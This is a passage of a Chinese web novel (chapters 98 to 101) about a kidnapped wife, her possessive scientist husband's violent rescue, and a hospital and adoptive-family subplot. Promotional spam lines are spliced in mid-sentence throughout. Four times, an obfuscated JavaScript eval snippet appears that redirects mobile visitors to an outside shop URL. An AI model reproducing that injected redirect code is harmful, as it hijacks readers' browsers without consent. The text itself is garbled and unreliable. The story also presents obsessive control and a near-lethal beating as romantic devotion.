“顾教授你怎么了！” 顾煜像是完全没听见一样，他只是死死盯着外面，眼神阴得吓人。 “ 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 你们三个人都在家都守不住我的昭昭！！！” 这一声几乎是吼出来的。 三个阿姨被吓得手都在抖 另外两个人也慌了一个去拿毛巾一个去扶顾煜。 可顾煜根本不让人碰。 他整个人像是失控了一样又猛地弯下腰咳了两声血一口一口往外吐。 没多久医生和单位的人几乎是一起赶到。 一进门看到地上的血几个医生脸色当场就变了。 “顾教授！” “你必须马上去医院！” 有人直接去扶他。 顾煜却一把甩开。 他的眼睛通红整个人像是被逼到极限一样声音低得可怕：“滚开。” 医生脸色更难看了。 “顾教授你现在必须处理出血情况！” 几个人几乎是半强制把人扶上车。 车刚开出去没多久。 顾煜靠在后座脸色白得吓人。 车里的医生还在准备东西。 就在车刚停在医院门口的时候—— 顾煜突然睁开眼他猛地推开车门。 人直接跑了。 医生愣住了。 司机也愣住了。 “顾教授！！！” 车后的人瞬间追出去。 可顾煜已经冲进人群里很快就不见了。 另一边。 言昭坐在椅子上手腕被绳子绑着整个人被固定在那里。 她低头看了一眼自己手上的绳子又抬头看向对面的人。 谢临。 她是真没想到。 自己才刚刚享受了一天的自由时光。 顾煜没给她锁链她还高兴了好一会。 结果人刚出门没多久就被谢临抓过来了。 言昭其实没有太大的害怕。 她现在脑子里想的根本不是自己被绑这件事。 她第一反应反而是—— 顾煜。 顾煜回家发现自己不在会怎么想？ 他肯定会以为自己跑了。 想到这里言昭的脸色一下子变了。 她太清楚顾煜是什么性格了。 那个男人本来就爱胡思乱想。 而且他脑子还疼。 言昭越想越急整个人直接坐直了冲着谢临吼了出来：“ 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 你快点把我松开！我不要跟你走！” 她声音很大，整个人明显气得不行。 “你有病是不是！我男人回家找不到我，他会疯的！” 谢临蹲在她面前。 他身上穿着一套军绿色的衣服，帽子也戴着，整个人看起来干干净净。 谢临本来就长得好看，眉眼清俊，这么一身衣服穿在身上，倒是多了几分正气。 可那点正气很快就被他脸上的表情毁得干干净净。 他歪着脑袋看着言昭，眼睛弯着，笑得一脸邪气。 “我现在要去当兵了,你跟着我走好不好？我肯定会比你男人对你还好。” 话刚说完。 言昭直接一脚踹过去。 她本来腿就能动，这一脚踹得又狠又突然。 谢临没躲。 整个人被踹得往后一仰。 言昭气得脸都红了。 “你是不是有病啊！我有男人！你把我绑过来干什么！你知不知道我男人会急成什么样！” 她这一脚踹得一点都没留情。 谢临砰的一声躺在地上。 言昭原本还以为他会发火，结果没想到—— 谢临躺在地上，先是愣了一下，下一秒竟然哈哈笑了起来，笑得整个人都在抖。 他甚至一只手捂着肚子，像是被踹得很开心一样。 “我就喜欢你这样对我。” 他说这句话的时候，眼睛亮得有点不正常。 言昭：“？？？” 她整个人都懵了一下。 刚才那点气一下子卡在喉咙里。 她是真的有点无力了。 “你到底想干嘛？” 谢临笑了一会儿才慢慢停下来，他从地上坐起来，拍了拍衣服，重新蹲到言昭面前。 那双眼睛直直看着她，像是盯着什么宝贝一样。 “我不是说了吗，跟我走。” 他语气轻得有点诡异。 言昭听得太阳穴都在跳。 “你疯了吧！我有男人，还有孩子。” 谢临听完根本不在意，他歪着头看她，笑得很慢：“我不介意呀，你要是能给我生，那就更好了。” 言昭：“？？？” …… 言昭原本还想着拖一拖时间。 她知道顾煜肯定会找自己，只要拖到天黑之前，说不定就有人能找到这里。 可她很快就发现—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338067|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢临是真的要把她带走。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 他甚至已经开始收拾东西，还把门外的车钥匙拿在手里。 言昭一下子绷不住了。 她整个人往前一扑，张嘴就想咬人。 谢临反应很快，直接把一团布塞进她嘴里。 “唔——！” 言昭气得眼睛都红了。 她整个人被绑着，只能恶狠狠地瞪着谢临。 谢临却看着她笑了一下。 “乖一点，等离开京市就好了。” 言昭差点气得想撞墙。 她现在唯一庆幸的，就是自己这个样子，只要被人看到，一眼就能知道是被绑的。 时间一点点过去。 天色还没完全暗下来。 忽然—— 屋外传来一阵很乱的声音。 有人在吼。 还有东西被踹翻的动静。 言昭整个人一僵。 她立刻蹦着往门口挪过去。 因为脚被绑着，她只能一点一点跳过去。 等到门边，她弯下腰，从门缝往外看。 下一秒。 言昭眼睛猛地睁大。 院子里。 她心心念念了好久的顾煜正把谢临按在地上打。 那不是普通打架。 是真的往死里揍。 顾煜脸上全是阴狠，拳头一下一下砸下去。 谢临当然也反手。 可他根本不是顾煜的对手。 没一会儿，整张脸就被打得血肉模糊。 院子里一片混乱。 紧接着，一群人冲了进来。 “拉开！” “快拉开他们！” 几个人连忙扑上去，把两个人强行拽开。 顾煜还想揍，此刻他整个人像疯了一样。 “放开我！我今天要弄死他！” 有人急得大喊：“顾教授，咱们先找人！先找嫂子！” 就在这时—— 房门里面忽然传来“砰！砰！”的撞击声。 言昭用脑袋狠狠撞着门。 声音一下比一下响。 很快就有人冲到门口。 门被一脚踹开。 屋里的人先是一愣，下一秒就看到被绑得严严实实的言昭坐在地上。 “嫂子！” 有人惊呼出声。 几个人连忙冲过去给她解绳子，手忙脚乱地把绑着她手腕和脚踝的绳子解开，又把她嘴里的布拿出来。 布刚被扯出来，言昭连气都顾不上喘。 她整个人直接站起来往外冲。 顾煜就站在院子里。 他刚被几个人死死拽住，衣服乱了，嘴角还带着血，眼睛红得吓人。 言昭一看到他，整个人就冲了过去。 她直接扑进他怀里。 “我没有跑，我没有离开，你不要生气。” 顾煜就把人抱得死紧。 言昭几乎被他勒得有点喘不过气，可她一点都没挣扎。 顾煜的身体在抖。 不是轻微的那种，是整个人都在发抖。 他埋在她颈侧，呼吸又重又乱，像是压了很久的情绪一下子全炸开了。 他一边蹭她的颈脖，一边低头亲她，亲得乱七八糟，脸颊、耳侧、脖子，全都是他的呼吸。 “昭昭……” 他的声音很哑。 像是嗓子被什么磨过一样。 “昭昭。” 他又喊了一遍。 顾煜身体在抖，手在抖，唇瓣吻的也在抖。 他是恨不得把她整个人揉进自己身体里。 第99章 顾煜被驯的眼神都清澈了 这件事闹得很大。 言昭被绑走，本来就已经是极其恶劣的事情。 更何况牵扯到顾煜，再加上现场那么多人看见。 谢家的人几乎是连夜赶到医院。 谢首长脸色难看得厉害，一进门就站在那儿半天没说话。 谢母更是眼睛都哭红了，整个人看起来像是几天没睡。 谢临已经被控制住了，就算被医院处理，他脸上还全是血，被顾煜打得几乎认不出来。 谢首长看了一眼自己的儿子，最后重重叹了一口气离开病房。 因为顾煜呕血加上找到言昭后松懈下来，整个人晕倒，也跟着进了医院。 谢首长来到顾煜这层，看到言昭的时候，他很郑重的道歉：“是我们谢家对不起你。 旁边的谢母更是差点直接跪下来，她也跟着把一叠检查报告拿出来，手都是抖的。 “言同志，你看看这个，他是真的有病，这不是他能控制自己的。 那些报告一张一张摊在桌子上。 精神科的诊断、治疗记录，还有医生的说明。 谢临从很早之前就有问题。 只是家里一直压着。 言昭看了一眼那些纸。 她其实看不太懂那些专业词。 她也不想看。 自己现在很担心顾煜的身体，可这几个医生也不跟自己说明情况， 言昭脸色有点白。 而且她现在一点都不在意谢临有没有病。 她只觉得这个人很可怕。 绑人这种事情，他竟然真的做得出来。 言昭低头看了看自己的手腕，那里还有被绳子勒出来的红印。 她心里忽然有点后悔。 她以前还救过谢临。 那时候她只是觉得，人倒在面前，总不能不管。 可现在想起来，她忽然想起以前人家常说的一句话—— 不要轻易介入别人的因果。 有些事情，一旦沾上，就很难脱身。 言昭的不搭理，自然让谢家那边更着急。 谢母眼眶通红，几次想开口解释，可看着言昭发白的脸色，到底还是没敢多说。 谢首长站在一旁，脸色也很沉，他心里再急，也知道这件事是谢家理亏，现在说什么都像狡辩。 言昭根本没心思理他们。 她一直盯着抢救室那边，手指攥得发白。 刚刚顾煜在院子里那副样子，吐了那么多血，脸 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 色白得吓人，整个人都在发抖，那画面一直在她脑子里转，越想越心慌。 时间一点点过去。 终于，医生从里面走了出来。 言昭几乎是立刻站起身，快步迎上去，声音都绷紧了：“医生，他怎么样？ 医生摘下口罩，说道：“顾教授没什么大问题，呕血主要是胃溃疡引起的，再加上情绪波动太大，一下子刺激到了，所以才会吐血。 言昭听见前半句时先是松了一口气，可后面那句“胃溃疡又让她心一下提起来。 她这一次当然不会再像之前那样，医生说一句没事她就真的信了。 言昭立刻追问：“胃溃疡是什么病？严重吗？为什么会吐血？以后会不会再犯？ 她问得又快又急。 医生也没敷衍，耐心解释道：“简单来说，就是胃被伤到了，胃壁溃破了。这个病很多时候和长期饮食不规律有关系，不按时吃饭，空腹太久，压力太大，都会造成这种情况。顾教授这次本来身体就虚，前面高烧还没完全养好，又受了刺激，所以才会这么严重。 言昭越听，脸色越难看。 “不按时吃饭？ 她愣了一下。 不可能啊，顾煜在她面前，吃饭总是很准时。 早饭、中饭、晚饭，哪怕再忙，也会坐下来陪她吃…… 但是言昭一下子想起从前很多细节。 他有时候回家脸色不太好，她还以为是累的。 有时候他晚上抱着她，肚子里一点热气都没有，她还笑他身上凉。 还有前段时间住院，医生说他早上什么都没吃就去单位工作，她那时候只顾着心疼他发烧，根本没深想。 现在所有东西都串起来了。 这人平时在她面前装得太好了。 装得她还真以为他会照顾自己。 言昭气得眼眶都红了，心里那股又疼又恼的情绪一下子冲上来，堵得她胸口发闷。 她咬了咬唇，低声问医生：“那这个病能治好吗？ 医生点头：“能治，只要按时吃药，好好养胃，最重要的是按时吃饭，别再这样折腾自己，问题就不大。 言昭听完，缓缓呼出一口气。 她心里那块大石头总算又落下来一点，可紧接着就是止不住的生气。 顾煜这人，真的是仗着自己长了个好脑子，就一点都不把身体当回事。 医生这几句话，旁边一直站着的谢家人也跟着松了一口气。 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 谢母刚才一直绷着，听见顾煜没什么大问题，整个人差点软下去，扶着墙才站稳。 谢首长脸色却更难看了。 他心里比谁都清楚，现在谁更重要。 自家那个儿子，从小到大就没少惹事，可再怎么说也是自己的血脉。 可顾煜不一样，现在单位里谁不知道顾煜的重要性，多少项目都压在他身上，很多东西都是他一个人在推。 要是顾煜真出什么事—— 谢首长想到这里，后背都发凉。 那已经不是一句道歉能解决的事情了。 甚至不只是谢家的问题。 谢首长心里突然一沉。 不对。 现在事情已经不是“如果了。 自己儿子绑架了顾煜的爱人。 想到这里，谢首长整个人晃了一下。 他扶住旁边的椅子，才勉强站稳。 谢母看到他脸色不对，连忙低声喊了一句：“老谢…… 谢首长像是没听见，现在他脑子里只有一个念头。 自己头上的这顶帽子，恐怕已经保不住了。 谢首长闭了闭眼，整个人一下子像老了好几岁。 而这件事连方家都惊动了。 方家虽然进不了顾煜住的那个单位小区，可消息还是能打听到一些。 方太太一听说言昭出事，几乎是立刻赶了过来。 方家原本想直接来医院找人，可这件事牵扯的人太多，位置又被单位的人压着，一时间找不到具体在哪一层。 方太太在医院大厅转了好几圈，又去问护士台，可人家一听是找顾教授那边的病房，立刻就不肯多说了。 方太太站在大厅里，脸色也有点急。 老太太也跟着过来了，一直坐在轮椅上等着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338068|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她嘴里还在念叨：“小囡囡出事了……肯定吓坏了。 方太太心里也乱。 可再怎么着急，也只能在外面等消息。 而言昭根本不知道方家已经找过来了。 她现在全部心思都在顾煜身上。 顾煜被送进病房之后，人还在昏睡，医生给他打了点滴，说让他先养着。 言昭就坐在床边。 她一动不动地看着他。 而顾煜这一次病得很重。 他整整睡了三天三夜。 这三天里，医生来来回回检查了好几次，说身体问题不大，可人就是一直没醒。 言昭也没离开过医院。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 孩子白天会被阿姨抱过来看看她，晚上再带回去。 一直到第四天上午。 守在门口的人突然快步走过来敲门，声音都有些激动：“嫂子！顾教授醒过来了！” 言昭当时正抱着女儿，正在轻声哄着，小丫头刚睡迷糊。 听见这句话，她直接把孩子塞回阿姨怀里，然后人已经转身往隔壁跑过去。 门被推开。 病房里，顾煜已经坐起来了一半。 他明显刚醒，脸色还有些白，身上的病号服有些松，手背还扎着针。 可他根本没管这些。 顾煜正试图下床。 旁边两个医生和一个护士都在劝：“顾教授你先别动——” 话还没说完。 门口传来急促的脚步声。 顾煜猛地抬头。 他一眼就看见了站在门口的言昭。 言昭跑得有点急，呼吸都还没平，头发也有点乱。 她刚想说话。 顾煜已经直接下床了。 他甚至连鞋都没穿。 言昭吓了一跳，连忙跑过去：“你别乱动——” 话还没说完。 顾煜已经一把把她抱进怀里。 力气很大。 抱得死紧。 像是生怕一松手人就会不见。 顾煜醒过来之后，又被医生按着去做了一遍检查。 这一次检查做得很仔细，从头到尾查了一圈。 医生最后拿着报告过来，说身体问题不大，胃溃疡需要慢慢养，头疼的问题暂时也没有新的变化，只要好好休息，不要再像之前那样长时间不吃饭、不睡觉就行。 言昭听完这些话，整个人都松了一口气。 病房里安静了下来。 顾煜靠在床头，脸色还有点白，整个人看起来病弱得很，可那双眼睛一直落在言昭身上，没有移开过。 言昭被他这样看着，经过这么几次，现在她太了解顾煜了。 刚才那一下虽然把人哄住了，可那种不安并没有真的消失。 言昭干脆自己先开口。 她走到床边，在他面前蹲下来，抬头看着他，“老公，我跟你说件事。” 顾煜低头看她。 那双眼睛还是很深。 言昭吸了一口气，然后语气很认真，“我不可能离开你，也不会离开你。以后不管发生什么事情，我都不会走。” 她停了一下。 “除非我死了。” 这句话刚落下，顾煜原本有些阴沉的眼神瞬间变了。 刚刚看起来是一头凶狠的狼，而现在因为言昭这句话，他眼神瞬间清澈起来，变成了一只奶狗。 第100章 你要是死了，我也会死 顾煜歪了一下脑袋整个人往前凑了一点脸几乎贴到她手边声音低低的“真的吗？” 言昭点头 话音刚落顾煜那双好看的眼睛猛地颤了一下他微微一笑：“昭昭你要是死了我也会死。” 言昭伸手过去轻轻摸了摸他的脸颊语气柔下来“那你信不信我？” 顾煜看着她。 这一次他没有犹豫。 他点头：“信昭昭我信你。” 病房里慢慢安静下来。 顾煜还抓着她的手没有松开整个人靠在床头脸色因为刚病过显得有些白眉眼比平时更清晰那种病弱里透出来的好看反而更明显。 言昭看着他这样心里也跟着软了一点。 她想了想又忍不住补了一句“所以你以后能不能多信我一点？” 顾煜抬眼看她。 言昭很认真地继续说：“我真的不会离开你。以后要是有一天你一时间没找到我那肯定是我出去干什么去了比如买菜买点东西或者出去玩一会。” 顾煜没有立刻说话。 他只是抓着她的手把她的手心贴在自己脸上然后整张脸在她掌心慢慢蹭了一下。 那动作很轻带着依赖。 他低声说：“买东西可以让阿姨去出去玩要带我去。” 言昭有点哭笑不得她耐着性子解释：“好好好我只是跟你说一声让你放心。你要是没找到我那肯定是我有事出去一下不是要离开你。” 顾煜还是那副倔脾气。 他看着她语气慢慢的语气很固执“昭昭不管你有什么事情都要带我去。” 言昭看着他这副样子忍不住叹了口气。 她伸手摸了摸他的脸语气无奈又温和“好好好带你去。以后我干什么都带着你。” 顾煜这才像是满意了一点。 他还抓着她的手不放又在她掌心轻轻蹭了一下整个人终于安静下来。 …… 方晓在外面待了几天日子过得越来越不顺。 一开始她还很有底气。 她故意不回家也不接电话就是想让家里人着急一点。 以前每一次她闹脾气只要离开家没多久妈咪都会急得不行到处找人找她最后还要亲自过来哄她回去。 所以这一次方晓也以为会一样。 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 甚至为了让人更着急她还特意没有待在京市而是跑到了郊区的一个度假庄园。 那里环境很好吃住都不错。 方晓一开始还挺得意。 她想象着妈咪很快就会找到这里然后一脸着急地来哄自己回去。 可是几天过去了。 什么动静都没有。 不仅没有人找过来电话也越来越少。 最让方晓烦躁的是她的钱开始不够花了。 度假庄园本来就不便宜她又习惯大手大脚几天时间卡里的钱就少了一大半。 等她再刷卡被提醒已经不够一周房租的时候才突然意识到自己钱快花光了。 方晓坐在房间里越想越委屈。 她从小到大什么时候为钱发愁过？ 现在竟然要算着花。 她越想越生气。 “肯定是那个老太婆！” 她咬着牙骂了一句。 从她被方家收养那一天开始她过的就是被宠着的日子。方太太对她很好方先生对她也纵容家里的佣人更是围着她转她想要什么几乎没有得不到的。 可唯独那位老太太从来没给过她好脸色。 从小到大老太太见到她不是冷着脸就是骂她。 骂得最多的一句话就是——灾星。 有时候骂得更难听说她是替死鬼说她占了别人的位置。 方晓小时候听不懂后来长大一点她才知道妈咪的真正女儿走丢了这个老太婆觉得是她顶替了孙女位置。 一开始她是生气后来她想着反正家里真正说话的人是爹地妈咪还有哥哥。 只要他们站在自己这边老太太再不喜欢她又能怎么样。 所以方晓一直也没把这件事放在心上。 她见到老太太的时候大多数时候都是敷衍一下。 要不是为了让妈咪和爹地高兴她连那点表面功夫都懒得做。 现在在方晓看来妈咪不可能不管自己一定是老太太在家里闹才拖住了。 可方晓再怎么生气还是想要钱花。 她又在庄园里待了一天 最后方晓找朋友问了一下家里情况才知道最近妈咪都在医院。 方晓立刻就明白了那个老太婆身体一直不好本以为很快归西然后活到现在只不过经常住院。 难怪妈咪没来找自己原来是这样。 方晓心里的那点委屈瞬间变成了另 你的朋友正在书荒，快去帮帮他吧 一种情绪。 就说嘛，妈咪怎么可能不找她。 方晓在房间里转了两圈，脑子很快就有了主意。 她只要去医院挂个号，在里面转一转，到时候来个偶遇，妈咪看到她一个人在外面待了这么久，还生病了，肯定会心疼坏了。 方晓收拾了一下东西，很快就从度假庄园离开了。 她一路坐车回到京市，又直接去了那家医院。 在挂号窗口随便挂了个号，她就开始在医院里转。 方晓甚至已经想好了见面的时候要说什么，比如抱怨这几天多委屈，比如装得可怜一点，让妈咪心疼。 只要妈咪心软了，一切就都好了。 方晓一边想着，一边在走廊里慢慢走。 医院里人来人往，她走了一会，忽然在拐角处看到一个熟悉的背影。 那一瞬间，她眼睛都亮了。 “妈咪—— 她差点喊出来。 可下一秒，她整个人愣住了。 因为方晓看到妈咪正站在走廊另一边。 而她的面前，站着一个女人。 那个女人她一眼就认出来了。 就是她最讨厌，最嫌弃的那个人。 言昭。 方晓脸上的表情瞬间僵住。 她没有立刻走过去，而是站在不远处看着。 看着妈咪正和言昭说着话。 更让她难受的是，此时妈咪脸上的表情。 那是一种小心翼翼的温和，说话的时候甚至还带着一点笑意。 那种样子，方晓太熟悉了。 因为从小到大，只有她哭的时候，妈咪才会露出那种表情。 她每一次哭，妈咪都会这样哄她。 轻声说话，小心翼翼地哄。 可现在。 妈咪竟然在对着那个女人露出这样的神情。 方晓站在走廊另一头，整个人像被什么狠狠扎了一下。 她胸口一下子堵住了。 脸色也慢慢沉下来。 言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338069|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭这边，她最近的注意力几乎全在顾煜身上。 顾煜刚醒过来，身体还没完全恢复，她一天到晚不是盯着他吃饭，就是盯着他休息，生怕他又哪里不舒服。 至于方家的事情，她现在反而没有一开始那么在意了。 一方面是事情太多，她根本顾不过来。 另一方面，她自己心里也有点说不清的尴尬。 如果真的是家人，那这么多年过 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 去了，她也不知道该怎么相处。 如果不是，那更尴尬。 所以方太太站在她面前的时候，言昭其实还有点不知道该说什么。 两个人正说着话。 言昭刚准备找个理由离开，突然耳边响起一道很刺耳的声音。 “妈咪——！” 那声音又尖又急。 言昭和方太太同时侧头看过去。 只见走廊那头站着一个人。 方晓。 方晓喊完这一声，整个人已经快步跑了过来。 言昭看到她跑到方太太身边，直接一把搂住方太太的胳膊，脸上全是委屈和不满。 “妈咪！你怎么能跟她说话！” 她说着还瞪了一眼言昭，语气更加激动。 “你应该帮我揍她才对！” 言昭看到她，脸上立刻露出一种很明显的嫌弃。 她连回嘴的兴趣都没有。 只是点了点头，语气平平地说了一句：“方太太，那你们聊，我先走了。” 说完她转身就离开。 方太太下意识想开口叫住言昭。 可话还没出口，方晓已经把她的胳膊拉得更紧了，然后她整个人几乎贴了过来，声音又委屈又娇气。 “妈咪！你怎么能跟她说话啊！她欺负过我好几次，你不帮我就算了，还跟她聊天！” 她说着还故意晃了晃方太太的手臂，声音黏得发腻，“我在外面待了那么久，你都不来找我，现在见到我也不哄我，还跟这种人说话，妈咪你是不是不爱我了？” 方太太本来还想再和言昭说两句。 这好不容易才碰到言昭单独出来，这几天自己一直想找机会跟她聊一聊，可始终没有合适的机会。 现在好不容易遇见，话还没说两句，人就要走了。 方太太心里其实很急，可方晓抱着她不放，也没办法跟过去。 方太太看了一眼言昭离开的方向，最后还是叹了一口气，把注意力收回来。 不管怎么说，晓晓也是自己从小养大的孩子。 而且这家伙最近还自己跑出去这么多天。 想到这里，方太太心里也有点心疼。 她伸手摸了摸方晓的脸，语气软下来，“是妈咪不好。” “晓晓，你这几天跑去哪了？” 她低头仔细看了看方晓，眉头皱起来。 “你脸都白了，是不是没怎么好好吃东西？” 方晓本来还在装委屈。 一听这话，眼睛立刻亮了一下。 她最熟悉的那种感觉又回来了。 妈咪还是以前那个妈咪。 还是会哄她、心疼她。 方晓心里那点不安一下子消失了。 她立刻顺着往下说，语气更娇气了。 “当然没吃好啊，我一个人在外面，谁管我。我每天都在想妈咪，想得都睡不好觉。” 第101章 我给你买了个大房子 言昭离开后忍不住轻轻叹了一口气。 如果那位方太太真的有可能是自己的母亲，那现在她身边已经有一个从小养到大的女儿，而且这个女儿明显很受宠。 那种相处的亲密感，一看就是很多年养出来的。 如果那真的是自己的家人，言昭觉得自己也未必会高兴。 毕竟对方早就有了一个女儿，而且感情这么深。 她突然插进去，反而更像是一个多余的人。 这么一想，言昭心里的那点波动也慢慢压了下去。 她摇了摇头。 算了。 这些事情以后再说吧。 现在最重要的还是顾煜。 言昭很快回到了病房。 她推门进去的时候，顾煜正靠在床上。 一看到她进来，他原本有点无聊的神情瞬间亮了一下，脸上立刻露出笑容。 这个笑容几乎是条件反射般浮现，干净得让人心里透亮。 言昭看着他这副样子，心里也忍不住软了一下。 她走过去，顺手摸了摸他的头，“等你这瓶针吊完，我们就出院回家。 顾煜连忙点头，然后整个人像没骨头一样贴过来，一把抱住她的腰。 言昭吓了一跳。 她第一反应不是推开，而是赶紧抓住他的手腕。 “别动别动！她连忙按住他，“你手背还有针呢！ 顾煜被她按住手，也一点也不在意。 他只是抱着她不放，下巴还往她肩膀那边蹭了蹭。 整个人黏得不行。 言昭一边抓着他的手，一边忍不住叹气。 后面顾煜倒是很安分，整个人靠在她身上，下巴贴在她肩窝那边，一点都不动。 病房里安静了一会。 言昭忽然想起一件事。 她低头看了看顾煜，“对了。 顾煜抬眼看她。 言昭问得很自然，“你之前说的那个检查……就是看我和方家是不是家人的那个，什么时候能知道结果？ 顾煜听见这句话，目光在她脸上停了一下。 他几乎是立刻就猜到了。 她刚刚离开那一会，大概是遇到方家的人了。 而且看她现在这个样子，显然跟方家遇到还不怎么开心。 顾煜没有立刻回答，他只是抱着她，脸在她肩上轻轻蹭了一下。 然后他声音低低回答：“这个技术国内没有，要送到国外去做。最快 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 也要一个月结果才能寄回来。” 言昭听完轻轻“哦”了一声。 声音不大却能听见几分失落。 顾煜一直在看她。 她脸上的情绪不算明显可他太了解她了。 顾煜看着她那点小小的失望让他心里有点不舒服。 他忍不住在想。 自己当初是不是应该学医？ 如果他学的是医这种事情就能很好办了。 顾煜低头看着她脑子里甚至开始认真地想起来。 这种检测难不难做？ 如果只是检测血缘关系的话理论上应该只是分子结构对比。 那算法是不是可以优化。 样本数据如果足够清晰计算量应该也不会太大。 他越想越认真。 言昭却完全不知道他脑子里已经开始往另一个方向跑了。 她只是伸手拍了拍他肩膀。 “你别乱蹭针还扎着呢。” …… 现在言昭对医院也已经彻底没了好感。 这段时间一家子都在医院她现在看见医院走廊都觉得烦。 所以当顾煜吊完针她几乎没有犹豫就跟着一起离开。 手续办得很快 顾煜身体还没完全恢复她一路都盯着他生怕他走快了又不舒服。 两个人很快离开了医院。 而另一边。 方太太好不容易才把方晓哄好。 她带着人回到病房的时候第一件事就是去问护士。 “刚刚那位顾教授还在吗？” 护士翻了一下记录很自然地回答：“已经出院了刚走没多久一家子都回去了。” 这句话一出来方太太整个人明显愣了一下。 她原本还想着等晓晓这边情绪稳定一点再去找言昭聊一聊哪怕只是说几句话也好。 没想到人已经走了。 方太太站在原地心里说不出的失落。 好不容易才遇到一次还没来得及多说什么人就不见了。 她叹了一口气。 等她回到病房的时候里面的气氛却不太好。 方晓正坐在床前的椅子上。 她腰背挺得很直两只手规规矩矩放在膝盖上低着头一声不吭。 那副样子看起来倒是很安静。 病房里的气压也低得很因为床上 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 的老太太正冷着脸看着她。 那种嫌弃几乎没有一点掩饰。 房门这时候被推开，方太太从外面走了进来。 老太太一看到她，脸上的神情立刻变了，整个人都坐直了一点，语气急切地问：“我家小囡囡呢？来看我来吗？ 方晓原本低着头，一听这话瞬间抬起头。 她眨了眨眼。 有点没反应过来。 自己明明就坐在这里。 老太太这是在找谁？ 她下意识看向方太太。 方太太也看到了女儿的视线。 这件事现在还不能让晓晓知道。 所以方太太几乎没有犹豫，直接避开了这个问题。 “妈，医生刚刚说要过来复查，我们先去问问医生吧。 老太太一听到医生两个字，注意力果然被转移了一点。 她心里想着，现在还没跟囡囡相认，自己这条老命可不能出意外。 方太太顺势走过去。 她一边说着，一边伸手扶住老太太。 方晓也立刻站起来，跟着另一边搀住她。 三个人一起慢慢往门外走。 方晓虽然没有再问，可心里隐隐觉得有点不对劲，只不过也没放在心上，以为这个老太婆又不知道在搞什么鬼。 …… 回到家之后，日子终于慢慢安静下来。 言昭也跟着慢慢知道谢临最后的下场。 说是被分配到很远的地方去了。 谢首长也不再是什么首长了，直接提前退休，带着家里人离开了京市。 这个也是谢首长以前立过不少功，毕竟绑架这种事情，如果是普通人遇上，基本就是死刑。 言昭听完这些也没放在心上，只要谢临走了就行。 这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338070|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情对她来说也算是已经结束了。 倒是顾煜这边，单位很快又送来了一份东西。 是一笔补偿款。 数额大得吓人。 言昭打开信封的时候，整个人都愣住了。 她看着那一串数字，手都有点抖。 “这么多？ 她拿着那张纸，忍不住又看了一遍。 然后抬头看向顾煜。 “我也就是被绑了一下……她越说越心虚：“哪能给这么多钱啊。 言昭抱着那张纸，脑子里甚至开始乱想。 “他们不会是不要你工作了吧？ 顾煜本来心里还在为处理 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 谢临这件事情不太高兴。 听到她这句话，尤其是看见她眼睛都红了，他那点情绪瞬间散了。 顾煜赶紧把人拉进怀里。 “没有，他们不会让我走。” 言昭抬头看他。 顾煜摸了摸她的头，“最近他们还担心我离开，为了不让我离开，还说我们两个孩子，国家会全程负责养育费用。” 言昭愣住了。 “啊？” 顾煜看着她那副傻住的样子，忍不住笑了一下。 “意思就是，他们比我们还怕我不干了。” 言昭还捧着那笔巨额补偿款发愣，那一串数字她看了好几遍，总觉得有点不真实 她以前在乡下的时候，连几块钱都要掰着手指算。 后来跟着顾煜就没缺过钱，最多也就一万块。 现在忽然看到这么一大笔钱，整个人都有点晕。 